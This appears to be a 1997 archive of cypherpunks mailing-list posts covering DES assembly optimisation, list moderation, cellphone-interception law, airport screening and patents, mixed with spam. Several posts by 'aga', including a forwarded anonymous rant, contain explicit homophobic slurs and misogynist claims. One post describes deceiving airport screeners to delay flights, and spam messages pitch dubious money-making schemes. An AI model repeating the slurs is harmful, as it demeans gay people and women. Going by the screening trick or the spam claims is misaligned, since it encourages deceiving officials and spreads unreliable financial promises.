> >From what i see you are a hacker, and you are using some body space to work with 
> no charge.
> 
> Please avoid the use of my space.

So which of the 2000 members of this list are you addressing? Further, why
did you subscribe to the list if you didn't want to get the mail from it?







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 14 Jan 1997 22:22:51 -0800 (PST)
To: Alec <camcc@abraxis.com>
Subject: Re: You can now subscr. to the moderated/unmoderated/flames  lists
In-Reply-To: <3.0.32.19970114121443.006941f4@smtp1.abraxis.com>
Message-ID: <32DC93A9.27F6@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Alec wrote:
> :John,
> :  Will you be making a "Last Chance To Call Me A Cocksucker"
> :announcement? (:>)
> :
> :Toto

> Geez, Toto, settle down! (:>) Gotta laugh!

Alec,
  I guess that the money I spent for my lobotomy was just wasted.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: i.am.not.a.number@best.com
Date: Wed, 15 Jan 1997 00:12:24 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Pentium optimizations for DES (BIG)
Message-ID: <3.0.32.19700101000000.006b58b8@best.com>
MIME-Version: 1.0
Content-Type: text/plain


here is Mikkelson's macro, with a few cycles shaved.
on my machine there is a small but measurable improvement.


DesRound	macro RoundNo,reg1,reg2

		mov	eax,		DWORD PTR (RoundNo*8) [ebp]
		xor	ebx,		ebx

		mov	edx,		DWORD PTR (RoundNo*8+4) [ebp]

		xor	eax,		reg1
		xor	edx,		reg1

		and	eax,		0fcfcfcfch
		mov	bl,		al
		and	edx,		0cfcfcfcfh
		mov	cl,		ah
		ror	edx,		4
		xor	reg2,		DWORD PTR _des_SPtrans[ebx]
		mov	bl,		dl

		xor	reg2,		DWORD PTR _des_SPtrans[0200h+ecx]
		mov	cl,			dh
		shr	eax,		16

		xor	reg2,		DWORD PTR _des_SPtrans[0100h+ebx]

		mov	bl,		ah
		shr	edx,		16

		xor	reg2,		DWORD PTR _des_SPtrans[0300h+ecx]

		mov	cl,		dh
		and	eax,		0FFh
		and	edx,		0FFh

		xor	reg2,		DWORD PTR _des_SPtrans[0600h+ebx];ebx
		mov				ebx,DWORD PTR _des_SPtrans[0700h+ecx]
		xor	reg2,		ebx
		mov				ebx,DWORD PTR _des_SPtrans[0400h+eax]
		xor	reg2,		ebx
		mov				ebx,DWORD PTR _des_SPtrans[0500h+edx]
		xor	reg2,		ebx

		endm

At 10:19 AM 1/14/97 -6, Peter Trei wrote:
>I hope you'll look at Svend Olaf Mikkleson's
>latest DES round replacement for libdes. He
>seems to have gotten the round down to 18
>clock cycles. I have not yet had a chance
>to try it myself.
>
>see: http://inet.uni-c.dk/~svolaf/des.htm
>
>Peter Trei
>trei@process.com
>
>Peter Trei
>Senior Software Engineer
>Purveyor Development Team                                
>Process Software Corporation
>http://www.process.com
>trei@process.com
>
>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 14 Jan 1997 23:37:43 -0800 (PST)
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: DCSB: The Internet Consumer -- 1996 in Review & Predictions for 1997
In-Reply-To: <v03007801af01f45e92d3@[139.167.130.248]>
Message-ID: <32DC9819.20DD@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Robert Hettinga wrote:
>                  The Digital Commerce Society of Boston
>                               Presents
> The group provides numerous Fortune 500 companies with detailed research and
> analysis on behaviors and preferences of Internet consumers.

> Mr. Kaufman will discuss the Internet as a consumer platform.

  As in "Make $$$Money$$$ fast?
  Does putting on a suit and writing 'executive-oriented' postings in a
pompous, pretentious manner raise this type of posting above the level
of ordinary UCE/Spam?
  I don't think so.

  Does moderation mean that UCE postings that promise 'champagne and
caviar' are acceptable, while 'crackers and cheese' post-conference
promises are 'spam'?
  Will 'Subject: Consumer Platform / Make $$$Money Fast' be an 
'acceptable' heading, whereas 'Subject: Make $$$Money Fast / Consumer
Platform' is 'not acceptable'?

Toto
"Moderate suits, not jeans."
(I've got some fine suits, thank you very much. I wear them at weddings,
funerals, and whenever I want to 'screw' somebody.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 14 Jan 1997 23:37:58 -0800 (PST)
To: Eric Murray <ericm@lne.com>
Subject: Re: Newt's phone calls
In-Reply-To: <199701150307.TAA18846@slack.lne.com>
Message-ID: <32DC9AF6.1456@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Eric Murray wrote:
 
> Given that they've just pissed on some seriously powerful people I'd
> expect that the fools who made the tape and gave it to the Democratic
> congresscritter and then HAD A NEWS CONFERENCE about it are going to
> be in some deep shit.

  Undoubtedly, they will be in much deeper shit than the criminal who
broke the laws he was sworn to uphold.
  Power Rules! (Is this redundant?)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 14 Jan 1997 23:38:12 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: RSA challenge: is it legal to try?
In-Reply-To: <199701150427.UAA12865@mail.pacifier.com>
Message-ID: <32DC9EF2.4D67@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


jim bell wrote:

> It also ignores the strong likelihood that the reason for the Patent-Office
> policy change (done, apparently, without benefit of a corresponding law
> change) was because with public-key/RSA there was finally an example of
> software the government wished to deny to the average citizen, and the only
> mechanism (short of secrecy, which was broken) to do so was to patent it.
> 
> I'm still waiting for an "innocent" explanation for the US patent office
> beginning to issue software patents.  I don't think there is one.

Jim,
  It is reasurring to know that 'reason' and 'paranoia' can peacefully
co-exist in the mind. Most people seem to veiw it as an either/or
situation.

Toto
"They are refusing to conspire against me, in order to make my 
paranoia look irrational."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Garry <pccash@sprintmail.com>
Date: Wed, 15 Jan 1997 01:18:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: Seen Your Post!
Message-ID: <199701150917.BAA18755@mailgate31>
MIME-Version: 1.0
Content-Type: text/plain


I Seen Your Post!

I found your post in one of my favorite news groups. You might find my views
are exactly the same. In fact my entire WebSite is right up that alley.
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businesses I joined (again free) has an excellent earning potential of
over $600 profit per YEAR, per CUSTOMER! The best part is don't do anything
except promote the business. The company does everything for me!!! Although
I do not have anything against MLM,  this is not!

In order to even notice this biz you have to look up in the top window frame
of my site as its loading the image (read the text).

Enough about me! If you can contribute to my sight or have any ideas, I
would appreciate it. I'll keep an eye out for more of your contributions
to the "Newsgroups"!

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Tons of Excellent FREE Stuff for Entrepreneurs too...

PS. If you like what you see or have any questions, or ideas about my site,
    please drop me an e-mail. But, if you don't mind use "pcplus" as the
    subject. It helps me weed through my junk!

Thanks, Garry 
pccash@sprintmail.com

If you should get this message more than twice please forgive me.
I may have mis-configured this new e-mailer!









































































































































































































































































Day 3 in use #00377782

*******************************************************************
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 15 Jan 1997 00:33:01 -0800 (PST)
To: snow <snow@smoke.suba.com>
Subject: Re: Am I to blame? / "THE INTERNET GOLDRUSH"
In-Reply-To: <199701150652.AAA02966@smoke.suba.com>
Message-ID: <32DCAA12.720C@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


snow wrote:
> > > The "Internet Goldrush" is ON!
> > > It's simple!  It's quick!  It's here!

>      The funny thing is, most of the "Gold Rushers" wound up broke, or
> working for someone else.
>      Most people are fools. Deliberately so.

  An interesting observation.
  The original Gold Rush involved the thronging masses stepping on each
other's toes, shooting each other in the back, etc., and the end result
was that a few 'lucky' ones got filthy rich, while the people behind
the scenes, encouraging this activity, 'all' got filthy rich.
  If I had a mansion on the hill, with a high wall surrounding it and
a guard on the gate, I would be much more inclined to encourage the
masses to seek their fortune at my doorstep, and shop at my general
store across the street.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 15 Jan 1997 00:32:05 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: You can now subscr. to the moderated/unmoderated/flames lists
In-Reply-To: <199701140637.WAA14213@toad.com>
Message-ID: <32DCB23A.192F@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:
> 
> A minor note:  When I downloaded email tonite (Tues), there were 67
> messages, and I got stopped 4 times with server errors.  I've had at
> most four such errors total in the past 4 months. Coincidence, I guess.

  Or synchronicity.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Wed, 15 Jan 1997 02:30:35 -0800 (PST)
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Newt's phone calls
Message-ID: <3.0.32.19970115022949.0073c350@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:37 PM 1/14/97 -0800, Lucky Green wrote:
>At 02:48 PM 1/14/97 -0800, Alan Bostick wrote:
>>(Someone mentioned that they thought cordless phone intercepts weren't 
>>illegal the way cellular phone intercepts are.  IANAL, but I recall that
>>intercepting both was made illegal by the same legislation.)
>
>It is illegal to intercept cell phone calls. It is legal under federal law
>to intercept cordless phones.

The Communications Assistance for Law Enforcement Act of 1994
<ftp://ftp.loc.gov/pub/thomas/c103/h4922.enr.txt> amended the federal
wiretap statutes (18 USC 2510 et seq) to make interception of cordless
calls illegal.

Also, pursuant to the CALEA, the FBI reported yesterday (1/14) that they
anticipate the potential need to conduct almost 60,000 wiretaps
"simultaneously" (they define "simultaneous" to mean on the same day) by
10/25/98. (They do some handwaving to explain that while they're saying
they might need to do 60K simultaneous wiretaps, they're not really saying
they *would* do 60K wiretaps, but they're not promising not to, and really,
who are we to question, anyway?) There's a discussion of their methodology
and other bureaucratic poetry in the Federal Register (62 FR 1902, 1/14/97,
try <http://w3.access.gpo.gov/su_docs/aces/aaces002.html> and search volume
62 of the Federal Register for "calea") but the actual estimates (which are
apparently broken down county-by-county) are only available from the FBI's
Reading Room in Washington DC. Arrgh. (I got the 60K figure from the Murky
News' wire service-to-Email gateway.)

And Jamie Gorelick is resigning. 

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 15 Jan 1997 01:02:36 -0800 (PST)
To: Krenn <krenn@nym.alias.net>
Subject: Re: Airport security [no such thing]
In-Reply-To: <19970115080734.4134.qmail@anon.lcs.mit.edu>
Message-ID: <32DCB602.685C@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Krenn wrote:

> But wait - won't the all-important "did you pack your bags yourself" and
> "did anyone give you bags to take on the plane" stop them? ;-)

  If your friends or family are a little late catching the same plane as
yourself, then just answer, "No, my son packed them."
  This, on the average, gives your companions an extra 10-15 minutes
to catch the plane, since regulations require them to do a complete
check of your baggage (and they are 'supposed' to take them to a 
secure area to do so).
  Since you are ready to board the plane they cannot legally detain
you and let the plane go on, in order to process you and your 
baggage according to proper regulatory procedure. They must,
instead, detain the plane.
  They may jump up and down and tell you this is not so, but I have
never missed a plane, and neither have most of my tardy companions.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Wed, 15 Jan 1997 02:47:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: RSA challenge: is it legal to try?
Message-ID: <3.0.32.19970115025002.0074a440@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:35 PM 1/14/97 +0100, Anonymous wrote:
>Patents only apply to commercial use.

Got a cite for this? I can't seem to find any authority for it. It sounds
to me like a simple economic calculation (it's not worthwhile to sue
noncommercial users for infringement because they usually don't have enough
$ to even pay for the litigation, and "IBM sues 70-year old grandmother"
makes for poor public relations) that got turned into "law" by the
machinery of urban legend.


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: overcome@concentric.net
Date: Wed, 15 Jan 1997 00:20:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Positions open
Message-ID: <199701150820.DAA15929@newman.cris.com>
MIME-Version: 1.0
Content-Type: text/plain


I_Love_SPAM,

                               ATTENTION

       Fastest growing company expanding. Licensed in 34
    counties, publicly held on NASDAQ. Part time up to $500 to $1,500,
   full time up to $2,000 to $6,000. Need to fill position immediately.
           Full training provided. Work from Home or Office.
  Paid vacations plus bonuses. Call this week ONLY for free information.

                             (305)460-8000





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@replay.com (Anonymous)
Date: Tue, 14 Jan 1997 20:58:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: sendmail-type thing for Windows
Message-ID: <199701150458.FAA03875@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


> Hi,
> 
> Does anyone know of a simple program for windows that can, like
> sendmail, work as a mail agent ans send mail messages from its stdin? I
> am interested in sending email messages from Windoze boxes as part of
> some automated process driven by .BAT files.
> 

Yeah, exit to dos and run "loadlin".  ;-)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Wed, 15 Jan 1997 03:03:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: How to Deal with a Homo Superior Who is on the Make with You
In-Reply-To: <0agJ1D2w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.95.970115055342.7014D-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


It is clear from reading this that all equal employment
laws should be eliminated.

On Tue, 14 Jan 1997, Dr.Dimitri Vulis KOTM wrote:

> Path: perun!news2.panix.com!panix!news.mathworks.com!news.kei.com!bloom-beacon.mit.edu!grapevine.lcs.mit.edu!anon.lcs.mit.edu!nym.alias.net!mailmasher.com!non-tell
> From: Anonymous <non-tell@mailmasher.com>
> Newsgroups: alt.politics.equality,alt.politics.correct,alt.politics.homosexuality,alt.politics.nationalism.white,alt.politics.white-power,alt.politics.sex,alt.psychology,alt.renewing.american.civilization,alt.sci.sociology,misc.jobs.misc
> Subject: How to Deal with a Homo Superior Who is on the Make with You
> Message-ID: <199701131555.HAA14303@mailmasher.com>
> Date: Mon, 13 Jan 1997 07:55:23 -0800
> Organization: http://www.mailmasher.com pseudonymous service
> Lines: 68
> Comments: Please report abuse to abuse@mailmasher.com
> Mail-To-News-Contact: postmaster@nym.alias.net
> 
> How to Deal with a Homo Superior Who is on the Make with You
> 
> The answer is very simple: lobby for a return to employment
> "at will" by repealing ALL equal employment opportunity laws
> including the provisions of the Americans with Disability Act
> which pertain to employment.  Filing complaints or lawsuits
> is definitely not recommended as this would be the worst kind
> of career suicide.
> 
> Years ago when homosexuality was stigmatized and there was
> employment at will, the homos kept a very low profile because
> if they let loose with their true nature, then they would be
> out on their ear, pronto!
> 
> However, pass equality laws in a small minority of jurisdictions,
> and the homos get the impression that they can get away with
> just about anything even if they are not covered by one of those
> laws in their own jurisdiction.
> 
> The behavior at major corporations on the part of homos ranges
> from "the look" to outright propositions, to outright vigorous
> harassment and even extortion.  I thought that the emergence of
> the AIDS epidemic would have a drastic dampening effect on this
> type of behavior, but boy, oh, boy, was I ever wrong!!  It seems
> that if you groom yourself to any degree, the elements get the
> impression that you are germ-free and highly desirable, and you
> will attract their attention like a lightening rod.
> 
> To be fair, the worst perpetrators of this adverse behavior are not
> those guys perceived to be homosexuals but bisexuals - you know,
> the guys with the wives or girlfriends.  Boy, are these guys ever
> confused, and boy, are they ever motivated, sex hungry, and on the
> prowl!
> 
> Homosexual managers and executives share a trait with females, that
> is, they will not tolerate capable male subordinates for long (unless,
> of course, the subordinate is extra special friendly - if you get
> my drift.)  These managers and executives are paranoid about their
> job security just as females are, and they cannot stand any competitive
> threat.  By the way, female managers and executives have an affinity
> for gay subordinates.  It just goes to demonstrate how sociological
> alliances are forming under government enforced equality.
> 

Yes, and this points out how homosexuals and females (who are usually
always also homosexual) are the WORST thing that any viable
Corporation can ask for.  An ALL male heterosexual entity is the ONLY
way to survive the business world today.  A woman's place is in the
home, and a faggots place is NEVER to be superior to any heterosexual
person.

> Now that the job market is quite tight and very much a buyers' market,
> prospective employers get the impression that they can reduce job
> candidates and subordinates to sexual slavery since workers have
> few, if any, alternatives, and the saddest part of the situation is
> that many workers are going along with the extortionate demands thereby
> making matters much worse for the workers who refuse to do likewise!
> 
> Now, I know that some detractors in the reading audience will say,
> "If you re-stigmatize homosexuality, you will drive it underground,"
> but what the h-ll is wrong with driving it underground???  This
> statement is sophistry at its worse because it doesn't even make
> any sense on its surface.
> 
> On a related front:
> The Treatise on the Downward Wage Equalizing Effects
> of Equal Employment Opportunity is available at:
> http://www.geocities.com/CapitolHill/3982/
> 
> "Government enforced wage equalization will work only in the
> downward direction" - despite any initial appearance to the
> contrary!  And the most shocking thing of all is that the
> least preferred worker does not even have to be awarded a
> job for many phenomena to occur.
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Wed, 15 Jan 1997 03:33:03 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: PBS program - Turing/Enigma
In-Reply-To: <ZR1J1D106w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.95.970115062715.7014F-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 14 Jan 1997, Dr.Dimitri Vulis KOTM wrote:

> snow <snow@smoke.suba.com> writes:
> 
> > > Homosexuals have a strange attraction to cryptography, perhaps because of i
> > > connection to privacy and anonymity. But they haven't made any contribution
> >
> >      Speaking from personal experince Dimitri? You and Grubor enjoying each
> > others company?
> 
> Two questions:
> 
> One, do the crypto-queers Gilmore and Inman suck each other's cocks?
> 

Because that is what faggots do best.

> Two, why did the above-quoted message appear on "moderated" cypherpunks?

Because "moderated" to them means that responses from the faggots are
the only ones that are accepted.


> (That's a rhetorical question: clearly Gilmore's moderation encourages
> personal attacks on Gilmore's "enemies" like myself and Dr.Grubor, while
> responses to these attacks are suppressed.)
> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y..: +1-718-261-2013, 14.4Kbps
> 

John Gilmore's suppression of responses will not go unreported on this
net.  It is high time that the queers be recognized as the most
censorous type of humanoid on this InterNet.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Joel McNamara <joelm@eskimo.com>
Date: Wed, 15 Jan 1997 07:30:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Airport security [no such thing]
Message-ID: <3.0.32.19970115072852.00dea020@mail.eskimo.com>
MIME-Version: 1.0
Content-Type: text/plain


US airport security is a joke compared to other places in the world.

Contrast Lucky's account with my last trip through Germany.  Carry-ons
x-rayed.  Pat down search by white gloved personnel.  Asked to take photo
with my camera (to demonstrate it was real).  Full power-on of laptop.
Laptop weighed and checked against book containing manufacturer's specs.
And this is standard, not because I was flagged as an evil Cypherpunk or
fit some profile.  Everything done very efficiently, with few delays.

Your mileage may vary.  I've been in other places, where US airport
security looks like Fort Knox.  The main reason (no matter where you go) is
unmotivated, minimum-wage, rent-a-cops placed in a tedious work environment.

Joel

Ob-Crypto: During some real serious globe-trotting over the past couple of
years, no one has ever looked at the contents of my hard drive.  Even when
I've been detained by customs (non-US), doing a pretty detailed search of
my luggage.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Wed, 15 Jan 1997 07:42:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: s/n problems on this list
Message-ID: <199701151542.HAA21311@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:52 AM 1/14/97 -0800, Vladimir Z. Nuri wrote:
>I've posted on this subject many times in the past, and its
>something I like to brainstorm on. signal to noise problems
>on this list. 
>
>generally, the moderator-specific approaches I find less
>palatable than techniques that can be automated. here
>are some more ideas for automated moderation techniques.
>
>1. software called "grouplens" I've talked about here (search
>yahoo) has been used to rate articles. they found that there
>was a very high correlation between how long people spent reading
>articles and the "interesting" rating that they gave that article.
>
>hence, a proposal: cpunks have long advocated and hacked mailer
>programs to stick in crypto. how about sticking in a hack that
>tracks how long mail messages are being read, and send that
>info back to an auxilliary mailing list address. the list
>software keeps track of time spent reading articles and
>can allow people to screen the list based on the "most interesting
>articles". "send me only those articles that go over a threshhold
>of 500 combined human attention minutes".

I for one would be weary of reading mail if I knew that just which ones I
paid the most attention to were known by some computer somewhere.  By doing
this, cypherpunks would risk becoming big brother.  Much as the supermarkets
are trying to do now.  All they are interested in is demographics also.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brian Lane <nexus@eskimo.com>
Date: Wed, 15 Jan 1997 07:55:11 -0800 (PST)
To: Eric Blossom <eb@comsec.com>
Subject: Re: Newt's phone calls
In-Reply-To: <199701150158.RAA25901@comsec.com>
Message-ID: <Pine.LNX.3.95.970115075206.2682D-100000@fozzy.islet.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 14 Jan 1997, Eric Blossom wrote:

> > Eavesdropping on cellphones is illegal, since there's an expectation of
> > privacy.
> 
> Ummm,  Eavesdropping on cellphones is illegal, because it's illegal.
> See the Electronic Communication Privacy Act (ECPA).  Since when does
> anybody talking on a *radio* have an expectation of privacy?
> 

  Correct. And before they passed their law a few years ago it was only
illegal to disclose the contents of any conversation overheard, not
illegal to listen to it (which is the way it should have stayed, but the
cellphone companies found it cheaper to get a law passed instead of
securing their network).

  Brian

----
  www.eskimo.com/~nexus      Nexus Computing     ftp.eskimo.com/~nexus





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brian Lane <nexus@eskimo.com>
Date: Wed, 15 Jan 1997 08:01:05 -0800 (PST)
To: Eric Murray <ericm@lne.com>
Subject: Re: Newt's phone calls
In-Reply-To: <199701150307.TAA18846@slack.lne.com>
Message-ID: <Pine.LNX.3.95.970115075526.2682E-100000@fozzy.islet.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 14 Jan 1997, Eric Murray wrote:

> Clay Olbon II writes:
> > 
> > The congressman (Boehner? from Ohio) whose cellphone was "eavesdropped"
> > stated today that he was parked in the lot of a Waffle House in Lake City
> > FL.  The couple said that they just happened to be driving by when they
> > overheard and began taping the conversation.
> 
> Interesting.  In California, operating a scanner while driving is illegal.
> Of course it was probably the passenger running the scanner.

  Actually in Florida its illegal to even have a scanner in your car!
These folks have broken several state and federal laws, as well as the
congressman who leaked it to the newspapers instead of turning it over to
the head of the Ethics committe as he should have. Everyone involved here
is, or should be, in deep yogurt.

  I don't like the laws they passed, but since they passed them I want to
see them enforce them to the full extent posible. Then maybe people will
start to wonder why the transmission wasn't encrypted. Which also leads to
another question. How much information is in the clear from congressmen
and government employees who are clueless about the security of their
cellphones, cordless phones, etc?

  Brian


----
  www.eskimo.com/~nexus      Nexus Computing     ftp.eskimo.com/~nexus





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Wed, 15 Jan 1997 05:06:37 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: DCSB: The Internet Consumer -- 1996 in Review & Predictions for  1997
In-Reply-To: <32DC9819.20DD@sk.sympatico.ca>
Message-ID: <Pine.SOL.3.93.970115075835.5408A-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 15 Jan 1997, Toto wrote:

> Robert Hettinga wrote:
> >                  The Digital Commerce Society of Boston
> >                               Presents
> > The group provides numerous Fortune 500 companies with detailed research and
> > analysis on behaviors and preferences of Internet consumers.
> 
> > Mr. Kaufman will discuss the Internet as a consumer platform.
> 
>   As in "Make $$$Money$$$ fast?
>   Does putting on a suit and writing 'executive-oriented' postings in a
> pompous, pretentious manner raise this type of posting above the level
> of ordinary UCE/Spam?
>   I don't think so.
> 
>   Does moderation mean that UCE postings that promise 'champagne and
> caviar' are acceptable, while 'crackers and cheese' post-conference
> promises are 'spam'?
>   Will 'Subject: Consumer Platform / Make $$$Money Fast' be an 
> 'acceptable' heading, whereas 'Subject: Make $$$Money Fast / Consumer
> Platform' is 'not acceptable'?

	The finer SPAMS of life..what else would you want.
	 
> Toto
> "Moderate suits, not jeans."
> (I've got some fine suits, thank you very much. I wear them at weddings,
> funerals, and whenever I want to 'screw' somebody.)

	How often is this??





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Krenn <krenn@nym.alias.net>
Date: Wed, 15 Jan 1997 00:07:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Airport security [no such thing]
Message-ID: <19970115080734.4134.qmail@anon.lcs.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Tue, 14 Jan 1997, Lucky Green wrote:

> I recently took a domestic flight from the Oakland, CA airport. While
> waiting for the airplane, I spent some time observing the security measures
> at the X-ray machine.
>
> As most readers probably know, laptops are often subject to manual
> scrutiny. From my non-representative sample, about four out of five tote
> bags clearly containing laptops will be manually searched. Typically, the
> attendant requires that the laptop is powered up. In none of the 20+ manual
> searches I witnessed did the security personnel wait past the RAM check
> before clearing the passenger. I could not help but contemplate how much of
> the insides of the laptop could be replaced while still obtaining an
> identical display.

I have had the same experience. I am sure that removing all components of
the laptop not required for its functioning would yield a significant amount
of room inside, especially for larger (non-"notebook") machines. I'm not
an expert on explosives, but I would imagine a laptop-full of whatever could
be pretty nasty. Someone with determination could even make it look like
it had a floppy, a CDROM, etc, just by replacing the devices themselves with
facades. Not that the airport security would notice, but anyway.

But wait - won't the all-important "did you pack your bags yourself" and
"did anyone give you bags to take on the plane" stop them? ;-)

It just obviates the fact that airport security is really useless against
a determined attacker, but manages to be extremely annoying to everyone else.

Krenn



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aeVSFjB9WHY=
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 15 Jan 1997 05:44:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: DCSB: The Internet Consumer -- 1996 in Review & Predictionsfor 	 1997
In-Reply-To: <v03007801af01f45e92d3@[139.167.130.248]>
Message-ID: <v03007823af02813ca044@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain


At 3:40 am -0500 1/15/97, Toto emetted onto the livingroom carpet:

>  As in "Make $$$Money$$$ fast?
>  Does putting on a suit and writing 'executive-oriented' postings in a
>pompous, pretentious manner raise this type of posting above the level
>of ordinary UCE/Spam?
>  I don't think so.
>
>  Does moderation mean that UCE postings that promise 'champagne and
>caviar' are acceptable, while 'crackers and cheese' post-conference
>promises are 'spam'?
>  Will 'Subject: Consumer Platform / Make $$$Money Fast' be an
>'acceptable' heading, whereas 'Subject: Make $$$Money Fast / Consumer
>Platform' is 'not acceptable'?

I fished this out of my killfile. Ironically, I had just plonked Toto
yesterday because I saw no compelling merit in anything he has posted to
cypherpunks since he got here, and given the quantity of his posts, he was
starting to waste my attention. However, this morning, as my mail was
coming down in Eudora, I saw that he had replied to this month's DCSB
announcement, and, frankly, I knew that it had to be something like this.

However, I couldn't, heh, let sleeping dogs lie...

When I sent the posting in question to the cryptography groups, I figured
that this month's DCSB meeting would not not be especially on topic, even
for cypherpunks :-). However, there are lots of cypherpunks who come to
DCSB meetings, and I expect that some cypherpunks will come to this one,
too. Suits, champaigne, caviar, and all. ;-). More like suits, iced tea,
and chicken-of-the-month, but, hey, the view's nice, anyway.

By the way, Find/SVP is a well known market research company, and since a
lot of us on cypherpunks sell our stuff on the net, if not directly to
consumers, I figured the topic might be at least tenuously useful to those
here. There's even a (very!) shaky privacy/crypto connection both in the
methods for collecting these kinds of data, and, of course, in the data's
use in building crypto applications and policy. In addition, most companies
pay for this kind of information. David will be presenting it free, almost
immediately after it's collation.

Anyway, I apologize to anyone this has offended. Except, of course, for
certain, um, dogs.

<Now, where's Toto? It looks like he needs a physic... Toto!!! Here, Boy!
Waaalkies!!!!>

Cheers,
Bob Hettinga
Moderator,
The Digital Commerce Society of Boston


-----------------
Robert Hettinga (rah@shipwright.com), Philodox,
e$, 44 Farquhar Street, Boston, MA 02131 USA
"The cost of anything is the foregone alternative" -- Walter Johnson
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://offshore.com.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: leeasher@gil.com.au
Date: Tue, 14 Jan 1997 14:40:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Some Spare Cash Perhaps !!
Message-ID: <199701142238.IAA03457@iccu6.ipswich.gil.com.au>
MIME-Version: 1.0
Content-Type: text/plain


I_Love_SPAM,

     Pardon the intrusion, I hope you dont mind. If you find
     that you could perhaps use some extra cash, then feel free
     to read a little further. No hype just a simple opportunity.
     If not then hit the cancel button NOW as I do not wish to
     invade your privacy any more than I have done so already.

                        --------------------

     Work from home with your PC distributing software and
     information all over the world via E-mail and the Internet.

     Our exclusive software PC-SUPER-MLM will give you all the
     information and tools you need to start your own Computer
     Based Business as a Software Distributor.

     Make thousands of dollars doing simple and pleasant work
     from home with your computer using our proven method.

     Reply to this article and I will send you a FREE copy of
     the PC-SUPER-MLM software for your personal evaluation.

     The software will be sent to you via E-mail as an
     attachment.

     Alternatively you can download it yourself from our WEB
